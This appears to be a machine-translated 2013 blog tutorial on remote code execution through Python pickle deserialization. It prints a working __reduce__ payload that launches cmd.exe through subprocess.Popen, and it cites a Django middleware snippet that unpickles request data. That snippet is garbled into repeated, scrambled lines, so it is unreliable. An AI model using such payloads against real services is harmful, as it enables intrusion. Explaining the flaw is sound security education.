GaRY · 2013/01/15 had started

0 x00 preface

Data serialization, which is a very common application scenario, is widely used in data structure network transmission, session storage, cache storage, or configuration file upload, parameter receiving interface. The main function is to enable data storage or transmission can only use the string type to express relatively complex data structure, convenient application WYSIWYG, direct data exchange processing.

Yet security issues often arise here. There’s PHP’s unserialize/__wakeup() vulnerability, Struts’ OGNL, a host of XML parsing vulnerabilities, and of course, most recently Ruby on Rails’ XML/YAML.

The problem here, if it doesn’t happen, is usually a big 0day: remote code execution.

Why? It has to do with the application scenarios described in our first paragraph. If a language needs to parse its own data structure from a string, it must parse the string in a fixed format, and then internally eval the result. Or, to ensure that the parsed content is in the serialized Object state, the state-saving __wakeup function is called.

Either way, it can be exploited by someone willing to take over the process and let the framework make the language execute into their code. Further, the ascension to the Tao is one of the SINS of the computer from its birth: “Data and operational instructions are stored indiscriminately together and thus easily misunderstood.”

Think about buffer overflows (when data overwrites other areas of memory and is executed as an operation instruction), SQL injection (when data is executed as part of a control statement), XSS (the same as SQL injection). What big security problem is not caused by this original sin?

0 x01 fine solution

Ok, pulled so much, off topic serious, or get to the point.

We know that every language has its own way of serializing data. Python also has a library called pickle/cPickle. The pickle/cPickle libraries work the same way, with one implemented in plain PY and the other in C. It’s also simple to use, basically the same as PHP’s serialize/unserialize method:

Import cPickle data = "test" Packed = cpickle.dumps (data) # Serialize data = cpickle.dumps (data) # Serialize >>> Loads "S'test'\np1\n."Copy the code

Also pickle can serialize any Python data structure, including a class, an object:

>>> class A(object): 
...     a = 1 
...     b = 2 
...     def run(self): 
...         print self.a, self.b 
... 
>>> cPickle.dumps(A()) 
'ccopy_reg\n_reconstructor\np1\n(c__main__\nA\np2\nc__builtin__\nobject\np3\nNtRp4\n.'
Copy the code

As you can see, even code has been serialized into it. If our run function could be executed automatically, it would form a perfect remote execution.

How do I get run to be executed automatically? Similar to PHP’s wakeup magic method, Python has its own methods, such as __reduce, that can be executed when deserialized. For details, see the official Python library documentation. And it’s not just one function.

We use Reduce to do a test:

>>> class A(object): 
...     a = 1 
...     b = 2 
...     def __reduce__(self): 
...         return (subprocess.Popen, (('cmd.exe',),)) 
... 
>>> cPickle.dumps(A()) 
"csubprocess\nPopen\np1\n((S'cmd.exe'\np2\ntp3\ntp4\nRp5\n."
Copy the code

Then open a new py command line where the emulation is the receiver:

>>> cPickle.loads("csubprocess\nPopen\np1\n((S'cmd.exe'\np2\ntp3\ntp4\nRp5\n.") <subprocess.Popen object at 0x00BB8DD0> >>> Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\ testUser > Exit Use. All rights reserved exit() or Ctrl-Z plus Return to exit >>>Copy the code

Bingo, it’s a perfect shell, isn’t it?)

As long as you can control what’s in the serialization, you can let the recipient execute the code you provide.

0 x02 instance

Is there any code like this in real life? Be flexible with Google

I am here to search a very typical code: djangosnippets.org/snippets/21…

def unpickle_stats(stats): Stream = True return stats.stream = True return stats.stream = True return stats.stream = True return stats.stream = True process_request(self, request): """ Setup the profiler for a profiling run and clear the SQL query log. If this is a resort of an existing profiling run, just return the resorted list. """ def unpickle(params): stats = unpickle_stats(b64decode(params.get('stats', - loads(b64decode('queries', '')) - loads(b64decode('queries', '')) queries if request.method ! = 'GET' and \ not (request.META.get('HTTP_CONTENT_TYPE', request.META.get('CONTENT_TYPE', '')) in ['multipart/form-data', 'application/x-www-form-urlencoded']): return if (request.REQUEST.get('profile', False) and (settings.DEBUG == True or request.user.is_staff)): request.statsfile = tempfile.NamedTemporaryFile() params = request.REQUEST if (params.get('show_stats', False) and params.get('show_queries', '1') == '1'): [url = 'I'] [' I '] [' I '] [' I '] [' I '] [' I 'Copy the code

This is django Middleware code written by a developer. It’s easy to use, isn’t it?

I also saw a similar tutorial on IBM that uses the same code and can also be used: www.ibm.com/developerwo…